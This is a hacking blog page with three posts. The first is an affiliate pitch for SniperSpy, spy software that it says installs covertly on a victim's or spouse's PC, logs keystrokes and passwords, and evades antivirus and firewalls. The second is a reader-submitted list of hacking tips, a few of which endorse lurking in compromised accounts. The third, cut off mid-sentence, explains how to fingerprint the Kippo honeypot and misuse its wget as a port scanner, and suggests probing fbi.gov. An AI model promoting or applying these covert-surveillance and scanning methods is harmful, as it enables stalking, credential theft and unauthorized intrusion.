How To Monitor A Remote Computer?

<div dir="ltr" style="text-align: left;" trbidi="on"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj324BGZSAAWgGHydaI2TRBR_izridnFOkjCyfinqTgGXruO5gBfDwHrH4U2n6WnengFWjT2NTzPu_hHMwSaeJe_snI9dyM4PR78OafKKJiiULq8cDxnCsw5BHIsUapPRXL9xSh2FMl3Wo/s1600/Monitor-your-PC.jpg" imageanchor="1" style="clear: left; display: inline !important; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj324BGZSAAWgGHydaI2TRBR_izridnFOkjCyfinqTgGXruO5gBfDwHrH4U2n6WnengFWjT2NTzPu_hHMwSaeJe_snI9dyM4PR78OafKKJiiULq8cDxnCsw5BHIsUapPRXL9xSh2FMl3Wo/s1600/Monitor-your-PC.jpg" /></a>Are you looking for away to <b>monitor a remote computer</b>? Do you need to spy on your remote computer without the need for physical access? But wait! Before you go for any <b>remote spy software</b> you should read our shocking reviews about one of the best software for monitoring a remote computer. Whether you are performing a penetration test or whether you want to monitor your children, employees and spouse. Our solution would work for you.<br /><a name='more'></a><h4>1. Sniper Spy (Remote Install Supported)</h4><b><i><span style="color: green;">Editors Rating:</span></i> <span style="color: red;">9/10</span></b><br /><div><b><span class="Apple-style-span" style="color: #10121a; font-family: verdana; font-size: 11px; font-weight: normal;"><br /></span></b></div><a href="http://www.sniperspy.com/images/box6b.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img align="right" alt="Remote password hacking software" border="0" height="164" src="http://www.sniperspy.com/images/box6b.gif" style="margin-top: 10px;" width="149" /></a><i><span style="color: red;"><b>SniperSpy</b><a href="https://www.plimus.com/jsp/buynow.jsp?contractId=2160696&referrer=rafay112"> </a></span></i>is the industry leading <b>software for monitoring a remote computer, </b>It's main features include <b>Remote Install and Remote Viewing feature.</b><br />Once installed on the remote PC(s) you wish, you only need to login to your own personal SniperSpy account to view activity logs of the remote PC’s!  This means that you can view logs of the remote PC’s from anywhere in the world as long as you have internet access!<br /><b><br /></b><b>Do you want to Spy on a Remote PC? Expose the truth behind the lies! Unlike the rest, SniperSpy</b> allows you to remotely spy any PC like a television! Watch what happens on the screen LIVE! <b>The only remote PC spy software with a SECURE control panel!</b><br /><b><br /></b>This Remote PC Spy software also saves screenshots along with text logs of chats, websites, keystrokes in any language and more. Remotely view everything your child, employee or anyone does while they use your distant PC. Includes LIVE admin and control commands!<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikAVk3pBNcsHe1POjwNtnvgIYwG1pDyipZwsSjZVUDKpSS2MTGmmxqJ0zwiGCSjvF34tYswRZKc9mpTHYQR7397120-mbW4zOTevhMeDGtAQhT6zzTVduocGEh6U-h6HnRmD1t6BLRDhE/s1600-h/sniper-spy.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="remote password hacking software" border="0" height="380" sniperspy="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikAVk3pBNcsHe1POjwNtnvgIYwG1pDyipZwsSjZVUDKpSS2MTGmmxqJ0zwiGCSjvF34tYswRZKc9mpTHYQR7397120-mbW4zOTevhMeDGtAQhT6zzTVduocGEh6U-h6HnRmD1t6BLRDhE/s400/sniper-spy.gif" width="400" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFkjdYL25A2QaXIVH_GQbdG2oegDsMV4QlsWbOOWDj41NdiaGkm8z0tFEQHU6qX2rgL0hW57KDvYNbh7KesN0F4JK9TukF64etYcTbqz2kQtR7cAMOg1u6bB-0yUNEvd3LpB6NxyjptOE/s1600-h/sniperspy_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="remote password hacking software" border="0" height="377" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFkjdYL25A2QaXIVH_GQbdG2oegDsMV4QlsWbOOWDj41NdiaGkm8z0tFEQHU6qX2rgL0hW57KDvYNbh7KesN0F4JK9TukF64etYcTbqz2kQtR7cAMOg1u6bB-0yUNEvd3LpB6NxyjptOE/s400/sniperspy_2.png" width="400" /></a></div><br /><h4>SniperSpy Features</h4><b><br /></b><b>1.</b> SniperSpy is remotely-deployable spy software<br /><b><br /></b><b>2.</b> Invisibility Stealth Mode Option. <b>Works in complete stealth mode</b>. <b>Undetectable!</b><br /><b><br /></b><b>3.</b> Logs All Keystroke<br /><b><br /></b><b>4.</b> Records any Password (Email, Login, Instant Messenger etc.)<br /><div class="separator" style="clear: both; text-align: center;"></div><br /><b>5.</b> Remote Monitor Entire IM Conversations so that you can spy on IM activities too<br /><b><br /></b><b>6.</b> Captures a full-size jpg picture of the active window however often you wish<br /><b><br /></b><b>7.</b> Real Time Screen Viewer<br /><b><br /></b><b>8.</b> Remotely reboot or shutdown the PC or choose to logoff the current Windows user<br /><b><br /></b><b>9.</b> Completely Bypasses any Firewall<br /><b><br /></b><br /><h4>How It Works?</h4><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmaJcgGIMdDKPXCQ1Sr4PvevcvOuP2RUXcQxmqhYstZICrjxemhIA8MoRnt47IUmq4WajTvAazCCae1CEZzPTYWiECmLwom5pxrcPzGhe5Bmr7zvMhVWHX3ltZalA231FdjxkoafjwQbE/s1600/howitworks.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmaJcgGIMdDKPXCQ1Sr4PvevcvOuP2RUXcQxmqhYstZICrjxemhIA8MoRnt47IUmq4WajTvAazCCae1CEZzPTYWiECmLwom5pxrcPzGhe5Bmr7zvMhVWHX3ltZalA231FdjxkoafjwQbE/s1600/howitworks.gif" /></a></div><b><br /></b><b><br /></b><b>What if i don't have physical access to victims computer?</b><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><br /></div>No physical access is required in order to monitor a remote computer with Sniperspy, All you need to do to ask the victim to download and double click on your file<b>. </b>Onc<b>e installed </b>you can view the screen LIVE and browse the file system from anywhere anytime. You can also view<b> chats</b>, websites, keystrokes in any language and more, with<b> screenshots</b>.<br /><br />This software remotely installs to your computer through email. Unlike the other remote spy titles on the market, <b style="color: #3d85c6;">S</b><b style="color: #3d85c6;">niperSpy</b> is fully and completely compatible with any firewall including Windows XP, Windows Vista and add-on firewalls.<br /><br />The program then records user activities and sends the data to your online account. You login to your account SECURELY to view logs using your own password-protected login. You can access the LIVE control panel within your secure online account.<br /><br /><h4>Why Do I Need SniperSpy?</h4><b>Do you suspect that your child or employee is inappropriately using your unreachable computer?</b> If yes, then this software is ideal for you. If you can't get to your computer and are worried about the Internet safety or habits of those using it, <b>then you NEED </b><b style="color: #3d85c6;">SniperSpy</b>.<br /><br />This high-tech spy software will allow you to see exactly what your teenager is doing in MySpace and elsewhere in real time. It will also allow you to monitor any employee who uses the company computer(s).<br /><b><br /></b><b>Will It Be Detected By Antivirus Engines?</b><br /><b><br /></b>Most probably no, Sniperspy is regularly updated and is designed to bypass most of the antiviruses, even if it does get caught. All you need to do is to contact their support team and they will provide you with a fully updated version of sniperspy.<br /><br /><h3 style="color: #303030; font-family: Arial; font-size: 1.3em; font-weight: normal; margin: 0px 0px 3px; padding: 0px; text-align: center;"><b>      <a href="https://www.plimus.com/jsp/redirect.jsp?contractId=2160696&referrer=rafay112" rel="nofollow" style="color: #cc0000;" target="_blank">Sniperspy No 1 PC Spy software</a></b></h3><div class="separator" style="clear: both; text-align: center;"><a href="http://tinyurl.com/yhjsmgj" rel="nofollow" target="_blank"><img border="0" height="277" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUJ6WvDmXLzuOb-bW3MFs5ya4ud8y1spU58E10EPGDdBVmUun4QiHqEbEIAALbriL78OnlhTq0LBl6U_Zd6uIq-Xxvy7m5ueqarPceaaKGLPK7bAHl1Jqo8PBporzjByFNRdn0myJwmLg/s640/rafay.png" width="577" /></a></div></div>

How To Monitor A Remote Computer?

Are you looking for away to monitor a remote computer ? Do you need to spy on your remote computer without the need for physical access? But...

+ Read more »

100 Ways To Become A Better Hacker

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitZj39yGnC_snGwtzzQPDS7OTwV53NUB7gnAgAFGXih3jLuSu3L8lByFR_enQAV1ltL-b__pFRvL37y0JLB-irc-8kNvlP9-0aKZ1gccgolyeLx-c8dFdZBVcieTKsfcoOxluvCAucwyY/s1600/hacker.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitZj39yGnC_snGwtzzQPDS7OTwV53NUB7gnAgAFGXih3jLuSu3L8lByFR_enQAV1ltL-b__pFRvL37y0JLB-irc-8kNvlP9-0aKZ1gccgolyeLx-c8dFdZBVcieTKsfcoOxluvCAucwyY/s640/hacker.jpg" width="577" /></a></div><br />Well, The title is self explanatory. This post would not rely upon my input but it would rely upon your input, We will be gathering here <b>100 ways to become a better hacker. </b>In other words 100 ways to improve your skills as a hacker.<br /><a name='more'></a><h4>Rules</h4><b>1) </b>Every person would get the credit for his submission.<br /><br /><b>2) </b>The submissions needs to be precise and should be unique from what others have submitted so far.<br /><br /><b>3) </b>Only the top 100 submissions would be entertained.<br /><br /><b>4)</b> Once we are finished with accepting and publishing 100 submission, you can still submit your <b>answers</b>, What we would do then is overwrite the existing ones with the better ones.<br /><br /><b>5) </b>Only submission via comments would be accepted.</div><h4>100 ways to become a better hacker</h4><div><b>1)</b> Learning scripting languages such as <b>Python</b>, <b>Perl </b>and <b>ruby </b>can help you automate your tasks and for sure improve your skills. ~ <b>Rafay Baloch</b><br /><b><br /></b><b>2) </b>Understanding all possible user inputs is the fastest way to hack into the systems.<b> ~ Shahin Ramezany </b><br /><b><br /></b><b>3) </b>When u gain access to an account or whatever u hacking in to, best practice do not alter anything. just monitor the activity and continue fetching information u need. ~ <b>josh odongo</b><br /><b><br /></b><b>4)</b> Travel and see different countries, it will make you better <b>~ Egor Homakov</b><br /><b><br /></b><b>5)</b> Never hesitate for usage of Google and other resources available i.e. exploit-db, and be updated with versions and bugs in each versions, for example, if I talk about WordPress, then one who is looking to hack WordPress website or pentest, then he should be well aware of at least 3.0+ versions updating, so whichever version is being used on the website, he should know the vulnerabilities in that and their exploitation <b>~ Anonymous</b><br /><br /><b>6)</b> RTFM, don't expect handouts. Educated questions, gets you educated answers<b> ~ TomG</b><br /><b><br /></b><b>7) </b>Move to <b>Linux</b>, learn<b> Programming Languages C</b>, <b>Pearl</b>, <b>Lisp</b>, <b>Java</b> and <b>Html </b>and write open source programs. Improve your functional English. ~ <b>Asfar</b><br /><br /><b>8) </b>The most important factor for becoming a good hacker is, you must have your personal interest with computers. Additionally, you have to be definite in your work, such that you should take exactly interest in One thing at a single time. After covering the appropriate level of theory, the learner should try it practically as much as his satisfaction level. Watching Tutorials only for taking points, not really for following them from a to z exactly, because you have to be a good learner only if you have your personal intention for doing the things creatively.<b> ~ Nasruminallah Zeeshan</b><br /><b><br /></b><b>9) </b>One thing , Learn how old Hackers Started don't focus on new Programs like BACKTRACK , METASPLOIT , Learn Manual Hacking , Learn Coding and be patient ! Knowledge will come with time ! and practice all methods<b> ~ Amie</b><br /><b><br /></b><b>10) </b>Do not rely on tricks for hacking. As they will keep you a script kiddie, get deep understanding about stuffs. And also don't rush from one topic to another. All those combined will make you a better hacker. "Slow and Steady wins the race" <b> ~ Bluff Master </b><br /><b><br /></b><b>11) </b>A support will always lift you up. Join groups, forums. Keep yourself updated with latest hacking news by reading blogs [Like this ;)], tweets etc. <b>~ Sahil Sehgal</b><br /><b><br /></b><b>12) </b>Understand what programming language to use at what moment. You're time is valuable so don't waste it writing something that could have been done faster! (and understand the difference between a scripting language and a programming language, python for example is a programming language. ~ <b>Saikia81</b><br /><br /><b>13) </b>During hacking remain mentally intact and focus on your each step. During a step always remember your next steps and the way you have to link them. Dont always use old methods and tricks, try new one and use your own mind too. and remember one thing that there is no shortcut of Hacking, to became a hacker, you have to give your whole passion to hacking. <b>"Hacking is an Art, and Hacker is an Artist</b>"<b>.  ~ Ali</b><br /><b><br /></b><b>14) </b>This Attitude should be there within "SWEAT MORE IN PRACTISE, SO YOU BLEED LESS IN WAR" #defensive #offensive <b>#B31212Y </b><br /><b><br /></b><b>15) </b>Whatever you're going to test,start it with a basic stuff. If you dont know any,start learning.<br />~<b> Ahmed Ashraff </b><br /><b><br /></b><b>16)</b> Enumeration is the key to pwnage, the more you enumerate the more attack surface you get ~ <b>Prakhar Prasad</b><br /><b><br /></b><b>17) </b>Be patient! Learn different protocols and read the RFCs to understand how they work and if there are some "security by design" issues. After that you should try to understand the context you're in and therefore develop an exploit for this particular context. ~ <b>David Viera Kurz</b><br /><b><br /></b><b>18) </b>Sleep less, read more. Learn & Think & Try & Fail & Never give up. Remember, "...imagination will take you everywhere". ~ <b>Gökmen GÜREŞÇİ</b><br /><br /><b>19)</b> Don't compete anyone, never think you are the best, just compete "the you in the past". There will always be a vulnerability waiting for being discovered, by someone who thinks different. Understanding human logic makes things easier. "Hackers realize, kiddies memorize" ;) <b>~ Agd_Scorp</b><br /><b><br /></b><b>20)</b> Learn your own systems inside out, before moving on to other systems. The better you know your own, the more capable you will find yourself when it comes time to make your system work for you<b>. ~ jericho</b><br /><b><br /></b><b>21) </b>To be a good hacker, you need have good social engineering skills. Try to understand your victim's mentality, it will give you the ability to guess his/her confidential information<b> ~ Shakil Hussain</b><br /><b><br /></b><b>22) </b>A great person had said "if i had 8 hours to chop down a tree, I'd spend 6 hours sharpening my axe". Apply this on yourself. Prepare yourself! Learn programming, networking, scripting and all, be passionate, motivate yourself then start hacking with your own ideas...You will surely win!<b> #initinpandey </b><br /><b><br /></b><b>23) </b>Use your inner power to became a great hacker. Just keep reading.. The more you read..the more you understand things behind the scene. ~ <b>nikhilkulkarni </b><br /><b><br /></b><b>24) </b>A startup now can be just a pair of 22 year old guys. A company like that can move much more easily than one with 10 people, half of whom have kids<b>. ~ Anonymous</b><br /><b><br /></b><b>25) </b>Think of all the psychic energy expended in seeking a fundamental distinction between <b>"algorithm" </b>and <b>"program"</b> ~<b> Amit Prakash </b><br /><b><br /></b><b>26) </b>If you don't have time to do it right, when will you have time to do it over? ~<b>Sunny Rockzzzz </b><br /><b><br /></b><b>27) </b>Out in the field, any connection with home just makes you weaker. It reminds you that you were once civilized, soft; and that can get you killed faster than a bullet through the head.”<b>~ Henry Mosquera</b><br /><b><br /></b><b>28) </b>Most hackers are young because young people tend to be adaptable. As long as you remain adaptable, you can always be a good hacker.<b>” ~ Emmanuel Goldstein </b><br /><b><br /></b><b>29) </b>Be very careful. We suggest getting a book on HTML to avoid becoming a real legend in the hacker world. Putting up a web page before you know how to put up a web page is generally a very bad idea. The .gov sites are an exception<b>. ~ th3.d3sty0y3r</b><br /><b><br /></b><b>30) </b>We were addicted to hacking, more for the intellectual challenge, the curiosity, the seduction of adventure; not for stealing, or causing damage or writing computer viruses. <b>~ Defencely.com</b><br /><b><br /></b><b>31) </b>To be a good hacker you have to learn from yourself. Learn from books like "The basics of ethical hacking and pen testing" and "The web app hackers handbook-Ed.2". Once you learnt these books i promise you will be able to hack systems as well as web apps. ~ <b>Aarshit Mittal</b><br /><br /><b>32) </b>Try to see, feel and possibly touch everything that you learn, only then you will be confident about your attacks/defenses. ~ <b>Nishant Das Patnaik</b><br /><b><br /></b><b>33) </b>Adopt the mindset of a hacker ~ <b>Mohamed Shimran</b><br /><b><br /></b><b>34) </b>You may not be there yet but with everyday practice you will be closer than yesterday. ~ Anonymous<br /><br /><b>35)</b> Set of code has to be made by a hacker Don't get caught Learn the basic functionality of a system and network then explore their loop holes Every developer make mistake while developing identify the exploit and notify them to the develop<b> ~ Vinoth Vel o</b><br /><b><br /></b> <b>36)</b> When you learn something in this field, always put it to good use .Defacing websites will not make you a better hacker, but, helping someone with their security might earn you a respect even higher than what a blackhat may get<b> . ~ Himanshu Sharma</b></div><b><br /></b><b>37)</b> Learn how the technology you are trying to hack works inside and out before you try to hack it. It's much easier to find a way in if you understand exactly how and why the technology works.<b> ~ David Melnichuk </b><br /><br /><b>38) </b>Be consistent. If you want to learn, dedicate a certain amount of time every week to learning. Don't take breaks because you will forget things. When it comes to ethical hacking, you have to learn and understand certain things before you can move on to understanding something else. Building on top of itself. ~ <b>David Melnichuk </b><br /><br /><b>39) </b>Find a safe and legal way to practice what you learn. Without actually doing what you read/watch, you won't know anything. You will learn 1000x more from doing something then from reading about it. Don't get stuck in the trap of watching/reading without trying everything you learn. You can use VirtualBox to create linux virtual machines to practice on. ~<b> David Melnichuk</b><br /><br /><b>40) </b>Keeping 'hacker' as a surname on your Facebook account does not really make you a hacker. Being unnoticed and non-egoistic does make you one!<br /><br /><b>41) </b>To be a better hacker, become an IT professional first. Then fill the gaps through broadly studying and practicing. The most important thing - DO NO HARM !!<br /><br /><b>42) </b>What can be created, can be destroyed. Nothing is completely secure, not even your mind, you just have to find a way to hack it. Real life manipulation or social engineering is also a part of hacking (Mind Hacking), get interested into it, if you don't like digital technicality.<br /><br /><b>43) </b>First learn how the stuffs work , then try to find the weakness in them and eventually break into those ' ~ Santosh Bhandari<br /><br /><b>44) </b>Always believe you would be able to do something. The moment you start thinking you can't hack because it is too secure, that is when u fail.<br /><br /><b>45) </b>Hacking into something without actually knowing how you actually did it is like without having knowledge of Hacking is just like a knife without sharpness<b> - Ahmed Mehtab</b><br /><b><br /></b><b>46) </b>To break the code, one needs to understand how to build one<b> ~ Sawan Patel</b><br /><b><br /></b><b>47) </b>If she knows how to code, marry her ~ <b>Salman Sheikh</b><br /><b><br /></b><b>48) </b>A child plays with toys whereas hacker plays with computers ~<b> Danish Ali Malik</b><br /><b><br /></b><b>49) </b>Learning the depth of how everything works and having the mindset of a 'hacker' that how you can make it work better and faster, making it do things which it wasn't built for.<b> ~ Siddhart Sinha</b><br /><b><br /></b><b>50) </b>Developing and creating own ways can help you to become better hacker <b>~ Babar Akhunzada</b><br /><b><br /></b><b>51) </b>Listen, learn, understand. Knowing that you CAN hack something, but chose not to, because it's not important to demonstrate how good you are, but to understand and demonstrate all the weaknesses without causing harm or blowing your own trumpet. The best people in our field are not those who can do one thing well, but understand how to interact with people, the business, and the value of the data you are protecting. <b>~ Andrew van der stock</b><br /><b><br /></b><b>52)</b> Nothing is 100% secure you just have to look hard enough. ~<b> Osama Mahmood</b><br /><b><br /></b><b>53) </b>Everybody can use the same vector over and over again and find XSS (like the one million chickens with one million keyboards - who will find XSS at some point). But there's so much more than that out there! ~ <b>Mario Heiderich </b><br /><br /><b>54) </b>Understanding human behavior is the most important weapon for hackers.<b> ~ Talha Siddiqui</b><br /><br /><b>55) </b>Develop Killer-instinct in yourself. A Hacker should not be Kind while breaking into Systems (whether it's white hat or black hat )<b> ~ Muhammad Ateeb</b><br /><b><br /></b><b>56) </b>Keep learning, the day you think that you have learnt enough, start learning again! <b>~ Bilal Ch</b><br /><br /><b>57)</b> Being a Ethical Hacker its your responsibility to let organizations know that for an effective hacking defense they must have one quote in mind that today "We do not need security products, We need secure Products" for the ultimate solution in defense process. ~ <b>Rahul Tyagi</b><br /><b><br /></b><b>58) </b>If you go to a coffee shop or at the airport, and you're using open wireless, I would use a VPN service that you could subscribe for 10 bucks a month. Everything is encrypted in an encryption tunnel, so a hacker cannot tamper with your connection. However as a Creative - Intelligent or Passion you have to break the Security is doesn't matter because Time to time Things will Keep on Change . So you Have to Dare to See What Unseen and Fully Go through out the Knowledge . ~<b> Mizta Kąţhįrmac</b><br /><b><br /></b><b> </b><b>59) </b>No matter how secure a target is, You can often override the security features of the machine, by exploiting the operator of it. ~<b> Gary Lewis</b><br /><b><br /></b><b>60) </b>..</div>

100 Ways To Become A Better Hacker

Well, The title is self explanatory. This post would not rely upon my input but it would rely upon your input, We will be gathering here 100...

+ Read more »

Using Honeypots To Your Advantage - Attacking Kippo

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCsZoA3qnYG90cIMauF8RkhfIjDHWlR90yi_1tcRs0QjFt5i6xZAQJSpmfZGH1ib26LA9cnR1Gl5GEHwQu3wvp9yDDODRh2_-ShsPpiNp_ETIaeoYY-MoZk-HATaZNwNlXUWBrDB1G-4Q/s1600/honey.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCsZoA3qnYG90cIMauF8RkhfIjDHWlR90yi_1tcRs0QjFt5i6xZAQJSpmfZGH1ib26LA9cnR1Gl5GEHwQu3wvp9yDDODRh2_-ShsPpiNp_ETIaeoYY-MoZk-HATaZNwNlXUWBrDB1G-4Q/s1600/honey.jpg" /></a></div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px;"><br /></div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px;"><br /></div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px;">Rafay asked me to do a guest blog and I tried to guess what would be the most useful for this crowd? I think I got just the thing. Ever scanned a box, wondered if it was a honeypot or found it was a honeypot and dissapointed? Well worry no more, today I'll guide you on how to identify honeypots globally, kippo specifically, and how to abuse the functionality of honeypots to your advantage to perform external/internal attacks. Without further ado:<br /><br /><a name='more'></a></div><h4 style="text-align: left;">Attacking Kippo</h4><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">I was perusing my usual reddits and saw a post about tutorial requests. I was looking for ideas on something to do to kill a couple hours and happened across this:</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;"><a class="_553k" href="http://www.reddit.com/r/blackhat/comments/1f255o/want_a_custom_written_tutorial/ca6jbvy" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://www.reddit.com/r/blackhat/comments/1f255o/want_a_custom_written_tutorial/ca6jbvy</a></div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">"Id love to see some stuff on recognizing and breaking out of a honey pot (Kippo?)"</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">I've never looked at kippo code before and was intrigued if I could actually break out of the honeypot and/or what else I could do with one. Well, I haven't been able to break out of it just yet, but I did find you could abuse them as internal (leaking internal address) and external full connect scanners. Read down for more information.</div><h4 style="text-align: left;">Stage 1.) Fingerprinting (Kippo)</h4><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">Fingerprinting honeypots is not hard when you actually know what to look for. Kippo is no exception. It doesn't allow a variety of commands that a normal host would, it uses static replies for several other commands (<a class="_553k" href="http://osvdb.org/show/osvdb/78099" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://osvdb.org/show/osvdb/78099</a> *sigh* you really submitted that?) easily found in txtcmds directory and the source all over, it breaks command structure arguments like "wget -o log a.com" would attempt to retrieve<a class="_553k" href="http://log/" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">http://log</a>, and allows ssh to any host with any password such as "ssh a". Really, there's no challenge in detecting Kippo nor any other honeypot as it's really meant for kids that don't know linux or automated bots trying to infect machines.</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">The most stealthy approach I found for Kippo detection is attempting to execute a command on login (ssh root@blah id). When attempting this Kippo causes a NotImplementedError exception and won't allow you to connect:</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">core/honeypot.py:463<br />def execCommand(self, protocol, cmd):<br />raise NotImplementedError</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">This completely kills the connection attempt and doesn't return the command as normal operation would be.</div><h4 style="text-align: left;">Stage 2.) Universal Fingerprinting</h4><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">The problem with honeypots is they are emulated layers. Even if a machine attempted to look as realistic as possible, there's still certain things root can do that will likely not be emulated. The style I've been using for a while is adduser. Kippo likes to toy with people, so it endlessly loops through the adduser screen. Easy spotting.<br />However, other honeypots simply won't let you add users or they will only emulate that they added them with /etc/passwd, /etc/shadow, emulated su/sudo, and etc. By making sure the user has appropriate rights and going through a new session with the new user you should be able to spot any honeypot so far. A session restart usually just refreshes the emulation as if nothing happened in your previous session. If it didn't do that, one could just deplete your honeypot by rm -rf /*.</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">/* Note that this can be worked around. Kippo has a userdb for users one could dynamically populate, I just have yet to see it happen. */</div><h4 style="text-align: left;">Stage 3.) Let's Toy With Kippo (external port scan)</h4><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">Kippo allows a 'malicious' user to download external files for malware analysis. This, of course, allows us to go ahead and make connections outbound with the honeypot via wget. We don't have much to go off of as no commands with wget are implemented, but we can do port scans. The emulation shows that wget adds http:// in front of all requests, however these are just passed off to connectTCP from the twisted library:</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">commands/wget.py:103<br />self.connection = reactor.connectTCP(<br />host, port, factory, bindAddress=out_addr)</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">So what we can do is wget test.com:port and see if we get:</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">"HTTP request sent, awaiting response... Connection was closed cleanly."</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">For an open port or:</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">"HTTP request sent, awaiting response... User timeout caused connection failure."</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">Not the fastest thing in the world considering timeout rate is 20 seconds. You can connect to the same host multiple times if you really wanted to speed that process up. And remember this is a full connect, so in some cases it can be fairly useless.</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">/* I think it'd be interesting if people did this to issue attacks on large enterprise or government sites known to run ids/ips and see how long it takes to get their account suspended or service dropped. wget<a class="_553k" href="http://fbi.gov/attack_attempts_with_uri" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">fbi.gov:80/attack_attempts_with_uri</a> would be curious. */</div><h4 style="text-align: left;">Stage 4.) Let's Toy With Kippo (internal port scan)</h4><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">I sectioned this off because there's an extra trick in here to find the internal address. Of course, one can just scan .1 and .254 in typical to all rfc1918 ranges and see if they get a response for remote control ports. Assuming they're disabled, even though that's not likely just stick with me for the fun of it, we have another toy to use. We can scan internal ranges under the same honeypot port and use the last command.</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">Example:<br />Let's assume the honeypot is running under<a class="_553k" href="http://192.168.1.124/" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">192.168.1.124</a> on the default port 2222. By attempting to "wget <a class="_553k" href="http://192.168.1.124:2222/" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">192.168.1.124:2222</a>", getting a "Connection was closed cleanly." response back indicates we might have found our own address. We can verify by running the last command and seeing if the internal address is in the log file. If you were to simply try localhost:2222, we'd just see <a class="_553k" href="http://127.0.0.1/" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">127.0.0.1</a> in the logs file.</div><div style="background-color: white; color: #333333; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 13px; line-height: 17px; margin-top: 10px;">/* side note - I think people running Kippo in their home under SOHO routers that have issues like persistent XSS or open config pages that spit back passwords could be interesting to check out. 